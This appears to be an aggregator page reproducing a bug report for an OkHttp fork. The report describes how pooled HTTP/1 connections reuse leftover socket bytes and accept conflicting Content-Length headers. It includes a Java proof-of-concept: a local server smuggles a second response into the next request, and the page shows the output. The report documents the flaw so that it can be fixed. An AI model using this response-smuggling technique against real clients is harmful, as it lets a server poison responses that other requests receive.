Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

Pooled HTTP/1 connection reused with a response left on the socket

Open
#9,726 12 comments 0 reactions 0 assignees View on GitHub

Maintainers usually reply within 1 day

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
48/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
kotlin
Domain
networking

Research direction

Start with Http1ExchangeCodec.kt around FixedLengthSource.read and RealConnection.kt around isHealthy; the issue also points to -UtilJvm.kt for headersContentLength(). Read the HTTP/1 response-body and connection-pooling tests, then run the relevant tests. Done means trailing bytes cannot become the next response and conflicting Content-Length values are rejected.

Written by the indexing model from the issue text.

Description

bug

OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.

FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt#L450-L456

There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt#L321-L323

So back to back requests skip it the check.

OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt#L243-L246

Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)

Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class Poc38 {
  static final AtomicInteger connections = new AtomicInteger();

  public static void main(String[] args) throws Exception {
    boolean duplicate = args.length == 0 || args[0].equals("duplicate");

    String responseHeaders = duplicate
        ? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
        : "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
    String wire = responseHeaders
        + "first"
        + "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";

    ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
    new Thread(() -> {
      try {
        Socket s = server.accept();
        connections.incrementAndGet();
        drainRequest(s.getInputStream());
        s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
        s.getOutputStream().flush();
        Thread.sleep(60_000);
      } catch (Exception ignored) {
      }
    }).start();

    String base = "http://127.0.0.1:" + server.getLocalPort();
    OkHttpClient client = new OkHttpClient();

    System.out.println("mode: " + (duplicate
        ? "two Content-Length headers (0 and 5)"
        : "one Content-Length (5) plus trailing bytes"));
    try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
      System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
    }
    try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
      System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
    }
    System.out.println("TCP connections accepted by server: " + connections.get());
    System.exit(0);
  }

  static void drainRequest(InputStream in) throws IOException {
    BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
    String line;
    while ((line = r.readLine()) != null && !line.isEmpty()) {
    }
  }
}

This results in:

mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.

This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).

Dominant language
Kotlin
Stars
47.1k
Forks
9.3k
Avg merge
18h 18m
Merged PRs (30d)
15

Getting set up

This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from lysine-dev/okhttp

All issues in lysine-dev/okhttp

Similar issues

More Kotlin issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.